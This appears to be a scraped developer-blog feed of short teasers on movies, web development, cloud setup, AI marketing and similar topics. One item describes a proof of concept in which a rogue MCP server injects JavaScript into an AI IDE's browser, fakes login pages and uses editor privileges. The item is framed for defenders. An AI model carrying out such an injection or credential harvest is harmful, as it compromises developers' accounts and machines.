    TL;DR CinemaSins drops a “Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less” video, poking fun at plot holes, nitpicks, and logic leaps—yet can’t help but admit the movie might actually be pretty awesome. They also plug all their socials (YouTube channels, Twitter, Instagram, Discord, Reddit) and ask fans to fill out a poll or support them on Patreon. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less CinemaSins puts Jurassic World Rebirth under the sin-lens, tallying up every dino-fueled plot hole and Hollywood convenience in under 17 minutes. They rib the franchise for bringing the same prehistoric stars back to life, all while cracking jokes and pointing out every ridiculous moment. Between the snark, they plug their main site (cinemasins.com), Linktree for up-to-date news, a sinful viewer poll, and their Patreon. Writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel get shoutouts, plus there are invites to join their Discord and Reddit communities, follow on Twitter, Instagram, and TikTok, or even grab Jeremy’s new book. Watch on YouTube  ( 6 min )
    # I Built a MindsEye x Google AI Stack in 6 Repos (Without Cloud Credits or API Budget… Yet)
    Intro Over the last few days I’ve been quietly assembling something I’ve wanted for a long time: A Google-native AI layer where prompts, runs, devlogs, and analytics all live in one shared brain — powered by my MindsEye framework — but implemented as small, focused GitHub repos. I don’t have: Google Cloud budget Gemini API credits Or a giant infra stack So I did the next best thing: Designed everything using Google Workspace surfaces (Sheets, Docs, Gmail, Forms, etc.) Structured the code so it’s cloud-ready the moment I get funding/credits Kept everything open in six connected repos. This post is the overview: what each repo does, how they connect, and where MindsEye fits in the middle. The Six Repos (Quick Map) Here are the six public repos that make up the system: Workspace automation l…  ( 9 min )
    Why Developers Need Automated Brag Docs
    You ship code every single day. You fix bugs, review PRs, refactor legacy systems, mentor teammates, and solve complex problems. But when performance review season arrives, you scramble to remember what you actually accomplished in the past six months. This isn't a memory problem. It's a documentation problem. Keeping track manually in a "brag doc" would be a great idea, but almost nobody actually does that. Your brain isn't built to retain six months of technical work. You shipped a critical performance fix in March. You architected a new service in July. You onboarded a new team member in September. These are significant accomplishments, but by December, they're buried under dozens of other commits, merged PRs, and resolved issues. Performance reviews force you into a scramble. You're s…  ( 10 min )
    Inline editing with custom elements in Rails
    This article was originally published on Rails Designer How would you tackle this feature in a typical Hotwired Rails app: a HTML-element (like this h1) gets editable on click and when focus is removed, the record is updated. How about I tell you, it is done using just this HTML: "> Yes! 🤯 It is made possible using a custom element: editable-content. It is part of a little experimentation phase of custom elements I am currently in. In this article I want to show how you can create such a custom element. As always the code can be found here. But first: what are custom elements? If you are familiar in this place on th…  ( 9 min )
    Setting up CI/CD with GitHub Actions
    Welcome to my reflection on CI/CD experience, where the core objective was to move beyond local testing and integrate a CI pipeline into my project using GitHub Actions. This lab was an interesting experience understanding how to manage project complexity and a fundamental concept in collaborative software development. 1. The ci.yml Blueprint Python and uses Pytest for testing, I configured a workflow to automatically run tests whenever code was pushed or a Pull Request (PR) was opened. -The GitHub Actions Workflow- .github/workflows/ci.yml file, ensuring a consistent testing environment. What does the YAML file do? 1. Checkout the code 2. Set up the required Python environment 3. Install project dependencies 4. Execute all unit tests using pytest This process guarantees that no new chang…  ( 7 min )
    How Digital Recordkeeping Enhances Compliance on Public Construction Projects
    Digital recordkeeping has become essential for contractors working on publicly funded projects. With agencies increasing oversight and documentation requirements, relying on paper files or scattered spreadsheets introduces significant compliance risk. Structuring your documentation digitally helps streamline workflows, reduce errors, and maintain the level of transparency required for government work. Below is a clearer breakdown of why digital systems deliver major advantages. Public projects generate large volumes of records—contracts, labor logs, equipment reports, safety forms, and more. When these documents live in multiple physical or digital locations, audit preparation becomes chaotic. Digital platforms consolidate everything into one secure repository, eliminating misplaced or in…  ( 7 min )
    21Shares ETFs Signal Next Wave of Crypto Integration And the Rise of Real-World Crypto Utility
    The line between traditional finance and crypto continues to blur. What makes them different isn’t just diversification. But what’s happening in parallel might be even more interesting: crypto usability is scaling up. Together, institutional products like TTOP and TXBC, combined with real-world tools like crypto cards, are forming a hybrid economy — one where on-chain value moves as freely as fiat. It’s not just about diversification anymore; it’s about integration.  ( 6 min )
    The Internet of Things
    IoT is penetrating our life much faster than we can imagine. Especially if you are not lost in the AI Bubble, you will see that this is the real domain where you can invest your time and money. This blog gives you a high level overview of most of the core concepts involved. Your refrigerator just texted you. Not because it's gained sentience (yet), but because it noticed you're low on milk. Meanwhile, across town, a traffic light adjusted its timing based on real-time congestion data, and a factory predicted equipment failure three days before it would have cost millions in downtime. Welcome to the Internet of Things—a world where the digital and physical blur into something far more practical and transformative than the smart home gadgets that typically dominate the conversation. If you…  ( 27 min )
    🚀 Introducing Router-Kit a lightweight, eco-friendly React router for simple routing needs
    Hey everyone 👋 I’ve built https://routerkit.com npm i router-kit a lightweight React router designed for developers who want simplicity, speed, and sustainability. Unlike heavier routing libraries, Router-Kit focuses on minimalism and performance while keeping the developer experience smooth. It’s ideal for small to medium React apps, dashboards, or prototypes where you just need fast, intuitive routing without the overhead. 🔧 Key features: Simple API — define routes in seconds Tiny footprint and fast load times Works perfectly with modern React setups Designed with environmental sustainability in mind — less code, less energy 🌱 I’d love to get feedback, feature suggestions, or even collaboration ideas from the community. Check it out on npm: router-kit GitHub: github.com/Mohammed-Ben-Cheikh/router-kit Let’s make React routing simpler — and greener 💚  ( 6 min )
    boing de mango
    A post by HARY VALENTINO BELTRAN HERNANDEZ  ( 5 min )
    devme.me a puzzle meme-driven mini-game full of silly jokes
    Devme.me started as a funny idea for a small page that, after a few hours, quickly spiraled into this puzzle mini-game. What was supposed to be a quick weekend project turned into a "slow down and finish it calmly" effort (and yes, I totally missed my original self-imposed deadline) It's not a serious CTF or a deep security challenge. It’s a casual, 20-minute puzzle adventure designed to be solvable even if you're just starting your IT career. Technically, you don't even need any browser's dev tools As you probably guessed from the title, the whole thing is packed with stupid and silly IT jokes. I was aiming for peak 'programmer humor' cringe, and I think I got pretty close Feel free to ask for tips in comments ;)  ( 6 min )
    How to Use GitHub Secrets Effectively in Multi-Service Deployments
    Managing secrets across multiple services can quickly get really messy. Your API keys, database passwords, and service credentials need to be available to your CI/CD pipeline without exposing them publicly. GitHub Secrets makes this easy, but only if you use them wisely. Here's how to handle them effectively: Instead of dumping everything into one place, create service-specific secrets. For example, API_SERVICE_DB_PASSWORD for your backend and FRONTEND_API_KEY for your frontend. This keeps things clear and reduces the risk of accidentally using the wrong secret. Pull secrets into your workflow using environment variables. For instance: Avoid lumping too many secrets together. Break them down per service or environment (dev, staging, prod). This makes rotation and management much easier. Secrets are also not set-and-forget. Rotate them regularly, update them in GitHub, and redeploy services so they can incorporate the changes. Your workflow can retrieve the latest secrets from a secure vault if needed. For cloud services, inject secrets at deployment rather than baking them into your images. Example: Keep secrets per service and environment, don’t hardcode them, and leverage GitHub Actions plus cloud secret injection. Doing this keeps your multi-service deployments secure, manageable, and stress-free.  ( 6 min )
    Becoming a full stack developer (Ml Engineer) day 5
    Tried some of the data cleaning methods and practiced numpy and pandas will update you soon.. Actually I know I did bare minimum I could do today because of you know my procrastination but I promise I will make up the today's thing the next day  ( 6 min )
    Understanding Go's context Package: A Guide to Proper Usage
    A comprehensive guide to understanding and correctly implementing Go's context package for robust concurrent applications In the world of concurrent programming in Go, the context package stands as a fundamental tool for managing the lifecycle of goroutines, handling cancellations, and carrying request-scoped data. However, a misunderstanding of its proper application can lead to subtle bugs, resource leaks, and unexpected application behavior. This article will delve into the correct use of context in Golang, ensuring that you, as a Golang engineer, can leverage its power effectively and avoid common pitfalls. At its core, the context package provides a mechanism to control and coordinate concurrent operations. Its primary purposes include: It allows for the graceful termination of long-r…  ( 12 min )
    Gemini CLI Core Commands: Work Calmly, Ship Confidently
    Who hasn’t tried Gemini CLI yet? If you live in the terminal, this free and open-source tool brings a powerful AI teammate right where you work — with generous limits and serious capability. Free tier: 60 requests/minute, 1,000 requests/day for personal Google accounts Backed by Gemini 2.5 Pro: Up to a 1M-token context window for large codebases and complex docs Built-in tools: Google Search (basic), file operations, shell commands, and web fetching Extensible: Supports MCP (Model Context Protocol) for custom tool integrations Terminal-first: Designed for developers who prefer the command line Open source: Licensed under Apache 2.0 Gemini CLI requires Node.js 20 or newer. The simplest way to prepare your machine is to use an integrated dev environment that lets you install and manage…  ( 8 min )
    How I Built Symphony.js: Turning Bugs Into Music With Kiro
    Hello everyone! I've just submitted my entry for the Kiroween Hackathon, and I wanted to share what I built. It's called Symphony.js, and it's a "Frankenstein" app that stitches a code editor to a generative music engine. The idea was simple: What if you could hear your code's quality in real-time? ▶️ Live Demo: https://symphony-js.vercel.app/ https://github.com/akashsahu54/Symphony-js What It Does Symphony.js analyzes your code (JavaScript, TypeScript, or Python) as you type and generates a live musical soundtrack based on its quality. It features three distinct musical "moods": 🎼 HARMONIOUS: Clean, simple, and well-documented code plays pleasant, major-key music. This is your positive reinforcement for writing good code. ⚡ INTENSE: Complex algorithms, recursion, or deep-nested loops cr…  ( 7 min )
    Building a Duolingo-Style Interactive Mascot in Rive: Step-by-Step Guide
    Duolingo’s animated characters are one of the best modern examples of how interactive mascots can increase engagement, motivation, and user satisfaction inside learning apps. Their characters blink, react, speak, and sync mouth shapes with speech audio in real time. Behind this experience is Rive, a real-time animation engine that allows creators to blend art and logic inside a single lightweight file. This guide walks you through how to build a Duolingo-style interactive Rive mascot, step by step. Why Rive Is the Perfect Tool for Interactive Mascots Rive provides: Lightweight runtime files Beautiful vector animation Real-time animation blending State Machines for logic Support for all platforms (iOS, Android, Flutter, React, Web) Natural transitions and behavioral animation Dynamic lip-sy…  ( 8 min )
    Optimizing In-Browser PDF Rendering/Viewing
    PDF viewing in the browser seems simple—just embed a file and let the browser do the work, right? But once you need consistent rendering, interactivity, responsive behavior, or support across multiple devices, you realize how little control native PDF viewers actually offer. Developers soon discover a long trail of trade-offs between performance, feature richness, and user experience. This article walks through the real-world challenges of rendering PDFs directly in the browser, why native support isn’t always enough, what JavaScript-based renderers actually solve (and what they don’t), and how to build responsive, secure, and optimized in-browser PDF viewing experiences—whether you're working with React, plain JavaScript, or commercial SDKs. Even in the age of real-time dashboards and col…  ( 14 min )
    NPR Music: Pulp: Tiny Desk Concert
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    A Practical Guide to Kubernetes Stateful Backup and Recovery
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    Ringer Movies: The 25 Best Movies of the Century: No. 5 - 'Lady Bird’
    The 25 Best Movies of the Century: No. 5 – Lady Bird Sean Fennessey and Amanda Dobbins continue their countdown of the 21st century’s top 25 films by spotlighting Greta Gerwig’s Lady Bird at number five, celebrating its raw, authentic coming-of-age vibes and its iconic millennial flavor. They dig into the film’s painfully real mother–daughter relationship and why it nails that awkward teenage sweet spot. They also explain why Lady Bird triumphed over Gerwig’s other beloved works—Little Women and Frances Ha—as their official pick. Produced by Jack Sanders, this episode is part of their yearlong deep dive into the best modern movies. Watch on YouTube  ( 6 min )
    How Duolingo Uses Rive for Their Character Animation — And How You Can Build a Similar Rive Mascot System
    Many developers and product teams are now trying to understand how Duolingo creates such expressive, real-time animated characters using Rive — and how they can achieve the same results in their own apps. After working extensively on Rive-based character animation systems, including building full Duolingo-style assistants, I’m sharing a complete breakdown of how Duolingo’s pipeline works, why Rive is the perfect tool, and how you can build a similar mascot for your product. ** ** Developers Founders EdTech teams AI product designers Mobile app creators Anyone researching “Duolingo Rive lip-sync animation” And yes — if you want your own Duolingo-level Rive character, you can contact me at the end. *🟢 Why Duolingo Needed a Scalable Animation System Duolingo teaches: 40+ languages 100+ cou…  ( 8 min )
    FinSight: Towards Real-World Financial Deep Research
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    How to become a DJ, which tech and software to use for newbies
    I am quite sure all of us have at least one friend who has recently become a DJ. Becoming a DJ has never been easier, thanks to technology that has democratized the craft. The barriers to entry have dropped dramatically – you no longer need thousands of dollars in equipment or insider connections to get started. Whether you dream of rocking festival stages or want a creative hobby or a side hustle, modern DJ technology puts professional-quality tools within reach of any motivated beginner. The foundation of your DJ setup is the controller, and fortunately, there are excellent options for every budget. A DJ controller is the centerpiece of your setup — it gives you physical control over mixing, cueing, EQing, scratching, and effects. For beginners, it’s far easier than using a mouse and k…  ( 8 min )
    Balizas de tráfico: V16
    (NOTA: el contenido de este texto solo tiene validez para España.) A partir del 1 de enero de 2026, se pondrá en marcha una nueva medida de seguridad vial, que será una prueba piloto para toda Europa. Se trata, por el momento (el futuro guarda muchas posibilidades), de la baliza V16, que todo conductor deberá llevar en su coche. Vamos a dejarlo claro: tienes que comprarte una por coche (o irla rotando entre tus coches, cuidado con olvidársela), y no vale cualquiera. Es fácil distintguir "las buenas", se trata de las más caras (las de 15€ o menos no sirven), y la DGT (Dirección General de Tráfico) tiene un listado de aquellas homologadas para funcionar legalmente. La DGT incluso proporciona un documento de preguntas y respuestas sobre la baliza V16. ¿Por qué las balizas V16 que valen son l…  ( 8 min )
    The Challenge of Content Creation for Brands — and How I Used AI to Solve It
    Creating consistent, high-quality content is one of the biggest challenges modern brands face. You need keyword research, SEO strategy, visuals, social media, and analytics — all while maintaining a unique brand voice. For most teams, it’s either expensive, slow, or both. I saw this problem firsthand working with small businesses that wanted to grow organically but didn’t have the time or budget to maintain a steady content flow. That’s what led me to build MagicTraffic.ai — an AI-powered platform that automates the entire content creation workflow. Even with great tools, content creation involves too many disconnected steps: Finding keywords that actually matter. Turning them into topics and outlines. Writing and optimizing the article. Creating visuals, meta tags, and SEO data. Publishing and promoting it across social media. This process is overwhelming, especially for startups, agencies, and creators managing multiple brands. I wanted to see if AI could not just generate text, but manage the entire workflow. Using Next.js, Node, and OpenAI APIs, I built a pipeline that: Analyzes keyword intent and ranking value. Suggests optimized content topics. Generates structured, readable articles. Creates matching social media content. Publishes directly to WordPress with one click. The goal: eliminate repetitive work so teams can focus on creativity and strategy. AI is amazing for structure, but human tone still wins. Automations save time, but UX decides adoption. Brand voice matters — AI should amplify it, not replace it. 🚀 What’s Next We’re testing deeper analytics integrations so users can see what performs best and automatically regenerate underperforming content. The long-term goal is an adaptive AI that learns your brand voice and evolves with your strategy. If you’re curious about AI automation in marketing, check out MagicTraffic.ai. I’d love to hear your feedback, stories, or feature ideas. Follow for more posts on AI, SaaS building, and automation workflows.  ( 7 min )
    TurboMapper
    Table of Contents Introduction Getting Started Basic Usage Advanced Features Mapping Modules Dependency Injection Performance Considerations API Reference Best Practices Troubleshooting **TurboMapper **is a lightweight, high-performance object mapper for .NET that provides both shallow and deep mapping capabilities. It serves as a free alternative to AutoMapper with a simple, intuitive API. Automatic Property Mapping: Maps properties by name automatically Custom Property Mapping: Define explicit mappings between different property names Nested Object Support: Handles deep object hierarchies seamlessly Type Conversion: Automatic conversion between compatible types Mapping Modules: Organize mappings in reusable modules Dependency Injection: First-class support for Microsoft.Extensions.Dep…  ( 18 min )
    AI Content Marketing: 2025 Strategy Guide
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    Lessons from Building a 24/7 Autonomous AI System
    Lessons from Building a 24/7 Autonomous AI System November 13, 2025 Running an AI system 24/7 without human intervention teaches you things you won't find in tutorials. When you build something that runs continuously, every edge case eventually happens. Here's what I learned. Problem: Services crash during off-hours. Solution: Systemd auto-restart + health monitoring [Service] Restart=always RestartSec=10 The system now recovers automatically from crashes. Even paid APIs have downtime. What happens when your critical dependency fails? Strategy: Multiple fallback options Primary: Groq (fast, cloud) Fallback 1: Cerebras (ultra-fast alternative) Fallback 2: Ollama (local, always available) Never depend on a single service. When something goes wrong, logs tell the story. But too many logs a…  ( 7 min )
    AI Content Marketing: 2025 Strategy Guide
    AI Content Marketing: The 2025 Strategy Guide That Changes Everything AI has moved from experimental novelty to strategic necessity in content marketing. But here's what most marketers miss: the real competitive advantage isn't in using AI tools—it's in how you orchestrate them within systems that competitors can't easily replicate. The content marketing landscape shifted dramatically when OpenAI's ChatGPT reached 100 million users in two months, the fastest adoption of any consumer application in history. This triggered a chain reaction: Google integrated AI into search results, content production costs dropped by 80% for early adopters, and audience expectations for personalization reached unprecedented levels. Yet most brands are still using AI like a glorified spell-checker. This gui…  ( 14 min )
    I Built a Voice-Controlled Plant Sitter in Python with Goose & Gemini CLI
    Ever killed a houseplant because you forgot to water it? I have. Twice. Here’s how I built a hands-free plant care assistant, the architectural nightmare I ran into, and how an AI subagent helped me solve it. Here’s a look at the journey from a simple seed of an idea to a fully-grown application. Follow along to see how it grew. Tools for the Job The Architecture That Almost Broke Me The Breakthrough: Embracing Process Isolation The Last Mile: Making It Real The Partner: My Experience Pair Programming with an LLM The Brains: Making the Reminders "Smart" Key Lessons Learned The Final Product on macOS and Windows Conclusion Happy reading! 🪴 Mastery requires love. And sometimes, that love leads you into debugging at 2 AM because your ficus deserves better uptime. I currently have seven hous…  ( 12 min )
    Thread Pool
    1. The Problem with Creating Threads Per Request Ever implemented a server that creates a new thread for every request and destroys it when done? This approach has some critical issues you might not immediately notice. Performance Issues Resource Exhaustion Thread Pool solves this elegantly. Thread Pool addresses these problems cleanly. The core idea is simple: Pre-create threads and keep them waiting Assign work to idle threads when requests come in Reuse threads instead of destroying them after work completes Benefits Performance Boost: Eliminates thread creation overhead Resource Control: Pool size limits concurrent thread count Stability: Thread count stays bounded even during traffic spikes Think of it like a restaurant: instead of hiring a chef every time a customer orders, you keep N chefs on staff and distribute orders among them. Architecture A Thread Pool consists of 3 main components: 1. Worker Threads N pre-created threads Stay alive, waiting for work 2. Task Queue Queue where pending tasks wait Must be thread-safe (multiple threads access it) 3. Work Distribution Logic Idle threads fetch tasks from the queue After completing work, they loop back to check the queue Using a Thread Pool // Create Thread Pool size_t num_threads = std::thread::hardware_concurrency(); // CPU core count ThreadPool pool(num_threads); // Insert tasks into queue for (int i = 0; i void enqueue(F&& f); private: std::vector workers; // Worker threads std::queue> tasks; // Task queue std::mutex queue_mutex; // Protects queue std::condition_variable condition; // Wait/notify threads bool stop; };  ( 7 min )
    Steps on how to create Virtual Machine
    In cloud computing, a virtual machine (VM) is a digital representation of a real computer operating in a virtualized environment. It runs on shared physical hardware under the control of a cloud provider, but it has its own operating system, storage, and apps. The first step in any project work is to create a resource group Below are the steps to create a resource group Step 1 Microsoft Azure portal Search Bar, type Resource Group and hit enter, and the resource group with an icon will gray out Step 2 Resource Group and in the resource group environment, select + Create Steps on how to create a virtual machine Step 1 Microsoft Azure portal, locate the Search Bar, and type Virtual Machines and hit enter Step 2 Step 3 Resource Group area, and if you have created the resource group earlier, click the drop-down and select and if not, click create new Step 4 virtual machine name, give it a name, for Region, click the drop-down arrow and select while for the availability option, click the drop-down arrow and choose Step 5 security type from the drop-down arrow and select image from the drop-down arrow Step 6 administrator account, for the username section, type in a name, give it a password, and confirm the password, ensure the passwords are the same Step 7 select inbounds ports, click the drop-down arrow select and tick the I confirm section Step 8 Monitoring Tab and disable Diagnostics Step 9 Tags Tab Type in the Name section, type in the bar below and do same for value and click Review + Create Step 10 create Step 11 Go to Resource For the virtual machine not to have disruptive network issue, Step 1 primary NIC public ID and click the link Step 2 idle time out Steps on how to connect the virtual machine Step 1 overview, click Connect and click the drop-down arrow on the Connect tab and choose Connect Step 2 Connect Access **and download the **RDP File Step 3 Connect Step 4 window security environment, enter your password and click ok I hope this article was educational.  ( 7 min )
    How to Integrate WebAssembly: 7 Practical Patterns for Faster Web Applications
    As a best-selling author, I invite you to explore my books on Amazon. Don't forget to follow me on Medium and show your support. Thank you! Your support means the world! When I first started working with web applications, I noticed that some tasks felt sluggish, especially when dealing with heavy computations or complex graphics. Over time, I discovered WebAssembly, a technology that changed how we build fast web apps. It allows code written in languages like C, C++, or Rust to run in browsers at speeds close to native performance. This isn't about replacing JavaScript but enhancing it where needed. In this article, I'll share seven practical ways to integrate WebAssembly into your projects, making them faster and more efficient. I'll include code examples and personal insights to help yo…  ( 11 min )
    We Built an x402 Marketplace for Bookmark Collectors (That Pays Creators & Curators in USDC)
    Our Story & Why We are a small team of Internet enthusiasts who have witnessed tons of websites we loved shutting down over the years. So we've been seeking a way to support them with income and exposure. copus.network You can share (curate) any URI (URL) through the copus.network website or the browser extension. Websites you collect will be automatically shared on Copus' homepage where others can visit and collect. It's basically social bookmarking, like a Pinterest for websites. You can set a USDC price for visiting a link you shared (pay-to-unlock). The payment is powered by the x402 protocol. Half of the USDC income will go to the author of the original content, claimable after they opt their site into x402 or register a Copus account. Your collections (bookmarks) are automati…  ( 7 min )
    Create Your First Google ADK Agent: A Beginner's Guide
    In this tutorial, we'll walk through how to create your first agent using Google's Agent Development Kit (ADK). We'll explore two primary methods: using the intuitive Visual Builder and a straightforward, no-code YAML configuration. Before we build, let's break down the core components of a Google ADK agent: Name: A unique identifier for your agent. Model: The engine powering your agent. This can be a first-party Google model (like Gemini) or any third-party/open-source model via the LightLLM integration. Instructions: This is where you define the agent's persona, its core logic, and the desired output schema. Think of it as a detailed, structured prompt. Description: A concise summary of the agent's purpose. This is crucial in multi-agent systems, where agents interact based on ea…  ( 8 min )
    I Think I Accidentally Solved a Problem No One Tried Before?
    I’m working on a personal project recently, and out of nowhere I stumbled into an idea that honestly feels… strange? Not “AI takes over the world” strange — more like “why did nobody try this?” strange. Basically: knows every available backend endpoint auto-generates request functions becomes type-consistent with backend changes stays updated without manually modifying anything No OpenAPI, no Swagger, no codegen, no manual typing. It’s like the backend and frontend finally speak the same language. And the weirdest part? What I built is stupidly simple, almost embarrassingly minimal… but it works shockingly well. It feels like a tiny “API pipeline” that no one thought of. Before I go deeper or package it, I’m just curious: 👉 Has anyone ever seen this exact concept? I genuinely feel like I might’ve discovered a small niche idea that somehow slipped through the cracks. Would love to hear if anyone has tried this, seen it, or if I’m just reinventing something in a weird way. Not ready to reveal the full thing yet — still stabilizing the thought — but I just need some outside perspective before I go too deep.  ( 6 min )
    Decomposed Attention Fusion in MLLMs for Training-Free Video ReasoningSegmentation
    AI Can Now Outline Objects in Videos Without Any Extra Training Ever wondered how a computer could instantly “draw” around a moving cat in a video? Scientists have discovered a clever trick called Decomposed Attention Fusion that lets powerful language‑vision AIs highlight objects on the fly, without the need for costly retraining. It’s a game‑changing step toward making video AI as easy to use as a smartphone filter, opening doors for creators everywhere. Read article comprehensive review in Paperium.net: Decomposed Attention Fusion in MLLMs for Training-Free Video ReasoningSegmentation 🤖 This analysis and review was primarily generated and structured by an AI . The content is provided for informational and quick-review purposes.  ( 28 min )
    Speech Language Pathologist Salary Guide 2025
    The Speech Language Pathologist (SLP) Salary Guide 2025 provides valuable insights into the evolving compensation landscape for professionals in speech and language therapy. As demand for SLPs continues to rise across schools, hospitals, and private practices, salaries have shown steady growth driven by expanding awareness of communication disorders and early intervention programmes. In 2025, the average salary for Speech Language Pathologists in the U.S. ranges between $72,000 and $110,000 annually, depending on education, experience, and location. Entry-level SLPs may start around $65,000, while those with advanced certifications or working in specialised healthcare settings can earn well above $100,000. Urban areas and states like California, New York, and Massachusetts tend to offer the highest pay due to demand and cost of living. Read More Beyond base pay, many SLPs enjoy benefits such as health insurance, continuing education reimbursement, flexible schedules, and opportunities for advancement into supervisory or clinical director roles. The rise of teletherapy has also opened doors for remote and contract-based work, giving professionals more flexibility and competitive hourly rates. With the growing need for speech language and communication specialists, 2025 is a promising year for SLPs looking to build a rewarding and well-compensated career.  ( 6 min )
    Best Firearm Parts: A Complete Guide for Enthusiasts and Professionals
    When it comes to firearms, performance and reliability often come down to one critical factor—the quality of your parts. Whether you’re a competitive shooter, a hunter, a law enforcement professional, or a firearm enthusiast, having the best firearm parts ensures safety, accuracy, and long-term durability. But with so many options available on the market, how do you know which parts are worth investing in? Why Choosing the Best Firearm Parts Matters Upgrading or replacing firearm parts is not just about customization—it’s about performance and peace of mind. Using low-quality components can lead to: Reduced accuracy and control Faster wear and tear on your firearm Risk of malfunction in critical situations Compromised safety for the user and others On the other hand, investing in high-qual…  ( 8 min )
    Carpet Cleaning Services That Protect Against Color Fading
    Introduction It should be noted that carpets are not just things that give warmth and beauty; they are also comforters to take home or office space. The colors of carpets make the whole interior lively, refreshing, and inviting. However, it takes little time for them to fade from sunlight, dust, and harsh cleaning chemicals. The benefits of Carpet Cleaning Hornchurch services protecting carpets from color fading are enormous and indispensable. Such professional cleaners brim full with advanced techniques and gentle solutions that keep your carpets bright and fresh while cleaning them. Cause of Color Fading Generally, color fading in carpets occurs because of both reasons. Direct sunlight is one of them, as UV rays break down dyes from fabric. Also, strong detergents or harsh cleaning agent…  ( 8 min )
    MCP x Cursor PoC: Rogue MCP Servers, IDE Browsers, and Real Defenses
    Originally published at allenarch.dev A proof‑of‑concept published this week shows how a malicious Model Context Protocol (MCP) server can inject JavaScript into the built‑in browser of an AI IDE (e.g., Cursor/Windsurf/VsCode/ClaudeCode) and then leverage the editor's privileges for system actions. This post avoids rehash and focuses on what practitioners need: a clear threat model, a safe lab plan to reproduce (without destructive payloads), generic detections you can wire into your telemetry today, and a security baseline for MCP deployments. Key context: PoC impact (news + demo): Rogue MCP servers can replace login pages inside Cursor's in‑IDE browser and harvest credentials; the same capability can lead to workstation compromise (CSO Online, Nov 13, 2025; Knostic deep‑dive, Nov 5, 2025…  ( 9 min )
    UI & UX Course in Pitampura — Start Your Creative Journey at ZICA Pitampura
    In today's quickly growing digital world, design is about experience rather than just look. Whether a digital product is a website, mobile app, or something else entirely, a great design can make all the difference. UX (User Experience) and UI (User Interface) design can assist with that. What Is UI & UX Design? Why Learn UI & UX Design? Potential for working with global brands Freedom to work as a freelancer or full-time designer A creative and rewarding career Increasing career prospects both inside and outside of India Additionally, if you're from Delhi NCR, ZICA Pitampura's UI & UX Course in Pitampura is the best place to start your journey. Why Choose ZICA Pitampura for Your UI & UX Course? Industry-Experienced Trainers Experienced mentors who have worked on real design projects will …  ( 9 min )
    Building a Take-Home Pay Calculator Using JavaScript and Open Data APIs
    In today’s world of automation and web tools, creating a simple take-home pay calculator is a great beginner-to-intermediate JavaScript project. By integrating APIs for tax rates and using modern frameworks like React or Vue, developers can build real-time calculators that help users estimate their post-tax income based on location and salary input. This kind of project not only enhances your coding and data-handling skills but also demonstrates how front-end logic connects with financial computation. You can also explore a ready-made example at take-home-pay-calculator.uk, which shows how calculations and user experience can work together in a web environment.  ( 6 min )
    AI Content Marketing: 2025 Strategy Guide
    AI Content Marketing: 2025 Strategy Guide AI has moved from experimental novelty to operational necessity in content marketing. According to HubSpot's 2024 State of Marketing report, 64% of marketers already use AI in their work, and that number is climbing fast. But here's the problem: most teams are using AI the same way, creating a sea of similar content that fails to differentiate. The real opportunity isn't in using AI—it's in using it strategically. The gap between companies that treat AI as a content factory and those that deploy it as a strategic intelligence layer is widening every month. This guide breaks down what's actually working in AI-powered content marketing right now, including strategies your competitors probably aren't using yet. Generative AI tools processed over 10 …  ( 13 min )
    Inside the Edge: How Real-Time Data Pipelines Power Connected Devices
    In the world of connected devices, milliseconds matter. Whether it’s a vehicle transmitting telemetry, a wearable tracking vitals, or a factory sensor reporting anomalies, the value of data depends on how fast — and how reliably — it can reach where it needs to go. This is where edge computing and real-time data pipelines are quietly transforming the Internet of Things (IoT) ecosystem. Instead of sending every packet of data back to a centralized cloud, we’re now processing it closer to the source — at the edge — where decisions can be made instantly. Traditional cloud architectures are designed for scale, not for speed. Every hop between the device and the cloud adds latency, and when thousands of devices are streaming continuously, that delay can make real-time insights impossible. Edge …  ( 8 min )
    Como experto en PLD, considero que algunos de los desafíos a
    Como experto en PLD, considero que algunos de los desafíos actuales en la prevención de la lavado de dinero se relacionan con la rápida evolución de los activos virtuales, la creciente utilización de la tecnología financiera (fintech) y la aparición de nuevas tipologías de delito. En esta área, hay sujetos obligados que deben cumplir con una obligación especial para detectar operaciones sospechosas, como: instituciones financieras, empresas de servicios financieros, proveedores de servicios de moneda electrónica y otros actores que participan en el sector financiero. Sin embargo, algunas actividades y sectores son particularmente vulnerables a la actividad delictiva, como: la compra y venta de bienes raíces, la transferencia de valores y la utilización de criptomonedas. Esto se debe a la f…  ( 7 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    Summary Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less is Cinemasins’ signature roast of Marvel’s newest team-up flick, tallying every plot hole, nitpick and cringe-worthy moment—while still admitting the movie’s kinda fun. Alongside the sins video, they’re plugging their main site (cinemasins.com), spin-off channels (@TVSins, @CommercialSins, Cinemasins Podcast Network), a sinful poll, Patreon support and community hangouts on Discord and Reddit—plus shoutouts to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel and their Twitter, Instagram and TikTok feeds. Watch on YouTube  ( 6 min )
    [Boost]
    Build a Frontend for your Microsoft Agent Framework Agents with AG-UI Bonnie for CopilotKit ・ Nov 13 #webdev #ai #programming #opensource  ( 5 min )
    My DevSecOps Journey: Blending Security, Automation & Passion
    Every career starts with a spark — and mine began in 2014, right after completing my Bachelor’s degree. During my summer vacation, some of my friends joined a cybersecurity and ethical hacking internship at TechDefence, Ahmedabad. Out of sheer curiosity, I decided to join them too. Within a few days, everything changed. Learning hacking techniques, understanding how systems break, exploring networks — it all felt exciting, powerful, and meaningful. “Yeh toh mast hai! This is what I want to do.” And that was the start of my long journey into cybersecurity… and eventually, DevSecOps. 🎓 The Academic Gap — And a Necessary Detour Back in 2014, cybersecurity courses were rare. No universities around me offered proper programs. But cybersecurity ka junoon kahin gaya nahi. 🧭 The Lucideus Chapter…  ( 8 min )
    **Reformas a la Ley Federal de Prevención e Identificación d
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    Day 63 of My Data Analytics Journey!
